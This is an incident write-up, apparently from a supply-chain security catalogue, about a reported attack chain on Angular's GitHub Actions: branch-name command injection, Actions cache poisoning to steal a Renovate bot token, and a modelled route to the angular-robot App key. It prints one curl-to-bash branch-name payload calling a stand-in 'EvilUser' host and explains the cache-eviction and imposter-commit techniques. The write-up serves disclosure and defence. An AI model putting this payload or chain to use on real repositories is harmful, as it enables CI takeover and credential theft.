Poisoned Pipeline / Incidents / AS407

AS407 · 2026-03

A branch name in a test workflow was escalated through Actions cache poisoning to the angular-robot App key, which could push to the Angular main branch

GitHub ActionsGit / GitHubnpm

Adnan Khan published this on 3 March 2026. He found and reported the
chain in December 2025, Google disabled the affected workflow on
12 December, marked it fixed on 21 December, and awarded the report as
a flagship supply-chain compromise on 28 January 2026. The bug was
introduced on 10 December 2025 and reported the next day.

The entry point was a workflow called "Worklow Testing" in
angular/dev-infra, added to test repository context variables. It ran
on pull_request_target with contents: read and no secrets, checked out
the base repository, and then echoed several context values in a run
step — including ${{ github.head_ref }}, which is the contributor's
branch name. Khan's payload is a branch named
$({curl,-sSfL,https://gist.githubusercontent.com/EvilUser/A/payload.sh}${IFS}|${IFS}bash),
so opening a pull request from a fork ran it. Read-only token, no
secrets, a workflow that only printed values: nothing to steal.

What made it matter was the cache. The Actions cache is shared across
the repository and writable by any job, and GitHub's per-repository
cap is 10 GB with least-recently-used eviction. Until 20 November
2025 that eviction ran as a batch job, roughly daily, so filling the
cache past the cap did not remove anything immediately. From 20
November the over-cap entries were evicted immediately, and Khan
describes the change as a gift to an attacker: one workflow run can
now flush the legitimate entries and write its own under the same
keys. His tool Cacheract automates it — extract the job's runtime
token from the runner, stuff the cache with junk beyond 10 GB, then
write poisoned entries under keys the target workflow will restore.
Caching V2 makes the keys easier to occupy because every key is also a
restore key, so a prefix match is enough.

The target was ng-renovate, the scheduled workflow that runs Renovate
as angular-robot. It passes NG_RENOVATE_USER_ACCESS_TOKEN as
RENOVATE_TOKEN, RENOVATE_FORK_TOKEN and GITHUB_COM_TOKEN, and it
installs through ./github-actions/npm/checkout-and-setup-node, a
reusable action in the same repository that calls actions/setup-node
with caching enabled for .github/ng-renovate/pnpm-lock.yaml. A
poisoned node_modules entry under that lockfile's cache key is
restored on the next scheduled run, at which point the attacker's code
is executing in a job that holds the token. Khan's log line for that
step is a Discord message from Cacheract reporting the token, one day
after he set it up.

The token belonged to the angular-robot account with repo and
workflow scopes, but on angular/angular it had only triage access: it
could change labels, not branches or code. That is where the report
stops being a live test. Khan modelled the rest from Angular's
open-source automation in angular/dev-infra. Angular's workflow clears
previous approvals when a pull request is updated, with an exception
for pull requests authored by bot accounts including angular-robot.
The bot does have write access to its own forks, and it opens version
bump pull requests that change action SHAs. So an attacker holding the
bot token waits for such a pull request to be approved, force-pushes
the head commit to point one bumped SHA at an imposter commit in a
network of actions/checkout forks — lucky-commit can match the
original short SHA — and the approval survives because of the bot
exception. Maintainers merge it, dev-infra.yml now pins a backdoored
actions/checkout, and the attacker's code runs in Angular CI on every
workflow that uses it.

The credential that stage reaches for is ANGULAR_ROBOT_PRIVATE_KEY,
the private key of GitHub App 43341, whose permissions include
administration: write and workflows: write, which in GitHub's
authorisation model implies contents: write. With the key an attacker
can mint a server-to-server token, disable the branch protection
rules, and push to main. Under Google's OSS VRP that is the definition
of a supply-chain compromise for a flagship project, and it is what
the reward cites: $31,337, awarded on 28 January 2026.

Khan is explicit about what was demonstrated and what was modelled.
The script injection, the in-build poisoning of the cache keys
ng-renovate uses, and the delayed exfiltration of the token on a
scheduled run were demonstrated. The bot pull request, its human
approval, the force push and the private key theft were not, because
proving them would have meant changing code on the Angular main
branch. Google accepted the chain anyway.

Mapped techniques

supply-chain The angular/dev-infra test workflow

T0118 · Execution · Command injection

The run step interpolated ${{ github.head_ref }} inside a shell
command with pull_request_target, so a branch name was
executed as bash. The token was read-only and no secret was in
scope, which is why the workflow looked harmless.

T0229 · Execution · Poison the CI build cache

Cacheract wrote more than the repository's 10 GB cache cap to
force immediate LRU eviction, then claimed the node_modules
keys the ng-renovate job restores. GitHub's 20 November 2025
change to immediate eviction is what collapsed this into a
single workflow run.

post-supply-chain The scheduled ng-renovate job

T0112 · Initial Access · Compromised token

The poisoned cache was restored by the scheduled Renovate run,
whose environment carried NG_RENOVATE_USER_ACCESS_TOKEN as
RENOVATE_TOKEN, RENOVATE_FORK_TOKEN and GITHUB_COM_TOKEN. The
attacker never touched that workflow's configuration; the
credential arrived with a dependency install.

post-supply-chain The Angular main branch, as modelled

T0198 · Defense Evasion · Malicious Build Time Dependencies

Modelled, not demonstrated. The bot's own version bump pull
request is the delivery vehicle — force-push its head so a
bumped actions/checkout SHA points at an imposter commit, and
the merge pins a backdoored action in dev-infra.yml while the
diff still reads as a routine bump.

T0114 · Initial Access · Compromised service account

Modelled. The backdoored action runs in Angular CI and takes
ANGULAR_ROBOT_PRIVATE_KEY, the key of App 43341, which carries
administration: write and workflows: write and therefore can
mint a token that disables protection and writes to main.

T0138 · Persistence · Backdoor in code

Modelled. Once the imposter action SHA is merged, the
attacker's code runs every time that step executes in
Angular's CI/CD, and no later change to the workflow file is
needed to keep it running.

Framework gaps noted

Sources